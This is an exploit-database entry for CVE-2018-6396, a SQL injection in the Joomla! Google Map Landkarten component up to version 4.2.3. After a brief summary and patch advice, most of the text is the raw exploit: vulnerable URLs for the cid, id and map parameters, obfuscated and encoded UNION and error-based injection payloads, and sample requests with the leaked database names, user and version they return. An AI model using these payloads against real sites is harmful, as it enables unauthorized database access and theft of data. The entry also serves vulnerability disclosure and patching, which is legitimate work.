Joomla! Component Google Map Landkarten

vendor:

Google Map Landkarten

by:

Ihsan Sencan

9.8

CVSS

CRITICAL

SQL Injection

CWE

Product Name: Google Map Landkarten

Affected Version From: <= 4.2.3

Affected Version To: Unknown

Patch Exists: YES

Related CWE: CVE-2018-6396

CPE: a:joomla:google_map_landkarten

Metasploit:

Other Scripts:

Platforms Tested: Windows 7 x64, Kali Linux x64

2018

Joomla! Component Google Map Landkarten <= 4.2.3 - SQL Injection

The Joomla! Component Google Map Landkarten version 4.2.3 and below is vulnerable to SQL Injection. An attacker can exploit this vulnerability by injecting SQL code into the 'cid' parameter in the 'index.php' file. This can lead to unauthorized access to the database and potentially sensitive information leakage.

Mitigation:

The vendor has released a patch to address this vulnerability. Users are advised to update to the latest version of the Google Map Landkarten component (version > 4.2.3). Additionally, it is recommended to apply proper input validation and sanitization techniques to prevent SQL injection attacks.

Source

Exploit-DB raw data:

# # # #
# Exploit Title: Joomla! Component Google Map Landkarten <= 4.2.3 - SQL Injection
# Dork: N/A
# Date: 16.02.2018
# Vendor Homepage: http://www.joomla-24.de/
# Software Link: https://extensions.joomla.org/extensions/extension/maps-a-weather/maps-a-locations/google-map-landkarten/
# Software Download: http://www.joomla-24.de/download/send/9-komponenten/85-google-map-landkarten
# Version: <= 4.2.3
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-6396
# # # #
# Exploit Author: Ihsan Sencan 
# # # # 
# 
# POC:
# 
# 1)
# http://localhost/[PATH]/index.php?option=com_gmap&view=gm_markers&tmpl=component&layout=form_markers&cid=[SQL]&id=1&format=raw
# 
# MScrLyohMDMzMzNVTklPTiovKy8qITAzMzMzQUxMKi8rLyohMDMzMzNTRUxFQ1QqLytudUxsLG51TGwsbnVMbCxudUxsLG51TGwsbnVMbCxudUxsLG51TGwsLyohMDMzMzNDT05DQVQqLygoLyohMDMzMzNTRUxFQ1QqLyhAeCkvKiEwMzMzM0ZST00qLygvKiEwMzMzM1NFTEVDVCovKEB4Oj0weDAwKSwoQE5SOj0wKSwoLyohMDMzMzNTRUxFQ1QqLygwKS8qITAzMzMzRlJPTSovKElORk9STUFUSU9OX1NDSEVNQS5UQUJMRVMpLyohMDMzMzNXSEVSRSovKFRBQkxFX1NDSEVNQSE9MHg2OTZlNjY2ZjcyNmQ2MTc0Njk2ZjZlNWY3MzYzNjg2NTZkNjEpLyohMDMzMzNBTkQqLygweDAwKUlOKEB4Oj0vKiEwMzMzM0NPTkNBVCovKEB4LExQQUQoQE5SOj1ATlIlMmIxLDQsMHgzMCksMHgzYTIwLHRhYmxlX25hbWUsMHgzYzYyNzIzZSkpKSl4KSksbnVMbCxudUxsLS0rVmVyQXlhcmk=
# 
# MScrLyohMDc3NzdVTklPTiovKy8qITA3Nzc3QUxMKi8rLyohMDc3NzdTRUxFQ1QqLytudUxsLG51TGwsbnVMbCxudUxsLG51TGwsbnVMbCxudUxsLC8qITA3Nzc3Q09OQ0FUKi8oKC8qITA3Nzc3U0VMRUNUKi8oQHgpRlJPTShTRUxFQ1QoQHg6PTB4MDApLChATlI6PTApLCgvKiEwNzc3N1NFTEVDVCovKDApLyohMDc3NzdGUk9NKi8oSU5GT1JNQVRJT05fU0NIRU1BLlRBQkxFUykvKiEwNzc3N1dIRVJFKi8oVEFCTEVfU0NIRU1BIT0weDY5NmU2NjZmNzI2ZDYxNzQ2OTZmNmU1ZjczNjM2ODY1NmQ2MSkvKiEwNzc3N0FORCovKDB4MDApSU4oQHg6PS8qITA3Nzc3Q09OQ0FUKi8oQHgsTFBBRChATlI6PUBOUiUyYjEsNCwweDMwKSwweDNhMjAsdGFibGVfbmFtZSwweDNjNjI3MjNlKSkpKXgpKSxudUxsLG51TGwsbnVMbCxudUxsLS0rVmVyQXlhcmk=
# 
# 2)
# http://localhost/[PATH]/index.php?option=com_gmap&view=gm_markers&tmpl=component&layout=form_markers&cid=1&id=[SQL]&format=raw
# 
# JTI4JTUzJTQ1JTRjJTQ1JTQzJTU0JTIwJTI4JTQzJTQxJTUzJTQ1JTIwJTU3JTQ4JTQ1JTRlJTIwJTI4JTMyJTM2JTMxJTMwJTNkJTMyJTM2JTMxJTMwJTI5JTIwJTU0JTQ4JTQ1JTRlJTIwJTMyJTM2JTMxJTMwJTIwJTQ1JTRjJTUzJTQ1JTIwJTMyJTM2JTMxJTMwJTJhJTI4JTUzJTQ1JTRjJTQ1JTQzJTU0JTIwJTMyJTM2JTMxJTMwJTIwJTQ2JTUyJTRmJTRkJTIwJTQ5JTRlJTQ2JTRmJTUyJTRkJTQxJTU0JTQ5JTRmJTRlJTVmJTUzJTQzJTQ4JTQ1JTRkJTQxJTJlJTUwJTRjJTU1JTQ3JTQ5JTRlJTUzJTI5JTIwJTQ1JTRlJTQ0JTI5JTI5JTI2JTY2JTZmJTcyJTZkJTYxJTc0JTNkJTcyJTYxJTc3
# 
# MStBTkQrRVhUUkFDVFZBTFVFKDQ4NTUsQ09OQ0FUKDB4NWMsKFNFTEVDVCtHUk9VUF9DT05DQVQoc2NoZW1hX25hbWUrU0VQQVJBVE9SKzB4M2M2MjcyM2UpK0ZST00rSU5GT1JNQVRJT05fU0NIRU1BLlNDSEVNQVRBKSwoU0VMRUNUKyhFTFQoNDg1NT00ODU1LDEpKSksQ09OQ0FUX1dTKDB4MjAzYTIwLFVTRVIoKSxEQVRBQkFTRSgpLFZFUlNJT04oKSkpKQ==
# 
# 3)
# http://localhost/[PATH]/index.php?option=com_gmap&view=gm_modal&tmpl=component&layout=default&map=[SQL]
# 
# JTI3JTIwJTJmJTJhJTIxJTMwJTM4JTM4JTM4JTM4JTQxJTRlJTQ0JTJhJTJmJTIwJTQ1JTU4JTU0JTUyJTQxJTQzJTU0JTU2JTQxJTRjJTU1JTQ1JTI4JTM2JTM2JTJjJTQzJTRmJTRlJTQzJTQxJTU0JTI4JTMwJTc4JTM1JTYzJTJjJTI4JTJmJTJhJTIxJTMwJTM4JTM4JTM4JTM4JTUzJTQ1JTRjJTQ1JTQzJTU0JTJhJTJmJTIwJTQ3JTUyJTRmJTU1JTUwJTVmJTQzJTRmJTRlJTQzJTQxJTU0JTI4JTczJTYzJTY4JTY1JTZkJTYxJTVmJTZlJTYxJTZkJTY1JTIwJTUzJTQ1JTUwJTQxJTUyJTQxJTU0JTRmJTUyJTIwJTMwJTc4JTMzJTYzJTM2JTMyJTM3JTMyJTMzJTY1JTI5JTIwJTQ2JTUyJTRmJTRkJTIwJTQ5JTRlJTQ2JTRmJTUyJTRkJTQxJTU0JTQ5JTRmJTRlJTVmJTUzJTQzJTQ4JTQ1JTRkJTQxJTJlJTUzJTQzJTQ4JTQ1JTRkJTQxJTU0JTQxJTI5JTJjJTI4JTUzJTQ1JTRjJTQ1JTQzJTU0JTIwJTI4JTQ1JTRjJTU0JTI4JTM0JTM3JTM2JTMyJTNkJTM0JTM3JTM2JTMyJTJjJTMxJTI5JTI5JTI5JTJjJTQzJTRmJTRlJTQzJTQxJTU0JTVmJTU3JTUzJTI4JTMwJTc4JTMyJTMwJTMzJTYxJTMyJTMwJTJjJTU1JTUzJTQ1JTUyJTI4JTI5JTJjJTQ0JTQxJTU0JTQxJTQyJTQxJTUzJTQ1JTI4JTI5JTJjJTU2JTQ1JTUyJTUzJTQ5JTRmJTRlJTI4JTI5JTI5JTI5JTI5JTJkJTJkJTIwJTU2JTY1JTcyJTQxJTc5JTYxJTcyJTY5
# 
# MScgQU5EIChTRUxFQ1QgMjk1OCBGUk9NKFNFTEVDVCBDT1VOVCgqKSxDT05DQVQoKFNFTEVDVCAoRUxUKDI5NTg9Mjk1OCwxKSkpLENPTkNBVF9XUygweDIwM2EyMCxVU0VSKCksREFUQUJBU0UoKSxWRVJTSU9OKCkpLEZMT09SKFJBTkQoMCkqMikpeCBGUk9NIElORk9STUFUSU9OX1NDSEVNQS5QTFVHSU5TIEdST1VQIEJZIHgpYSktLStWZXJBeWFyaQ==
# 
# # # #

 
http://localhost/Joomla375/index.php?option=com_gmap&view=gm_modal&tmpl=component&layout=default&map='+/*!08888AND*/+EXTRACTVALUE(66,CONCAT(0x5c,(/*!08888SELECT*/+GROUP_CONCAT(schema_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.SCHEMATA),(SELECT+(ELT(4762=4762,1))),CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION())))--+VerAyari
1105 XPATH syntax error: '\bahistanitim<br>cmslite<br>doct' 

http://localhost/Joomla375/index.php?option=com_gmap&view=gm_markers&tmpl=component&layout=form_markers&cid=1' AND (SELECT 6142 FROM(SELECT COUNT(*),CONCAT(0x494853414e2053454e43414e,(SELECT (ELT(6142=6142,1))),CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- ptYA&id=1&format=raw
1062 Duplicate entry 'IHSAN SENCAN1root@localhost : joomla375 : 10.1.21-MariaDB1' for key 'group_key' 

http://localhost/Joomla375/index.php?option=com_gmap&view=gm_markers&tmpl=component&layout=form_markers&cid=1&id=1+AND+EXTRACTVALUE(4855,CONCAT(0x5c,(SELECT+GROUP_CONCAT(schema_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.SCHEMATA),(SELECT+(ELT(4855=4855,1))),CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION())))&format=raw
1105 XPATH syntax error: '\qpjkq1root@localhost : joomla37'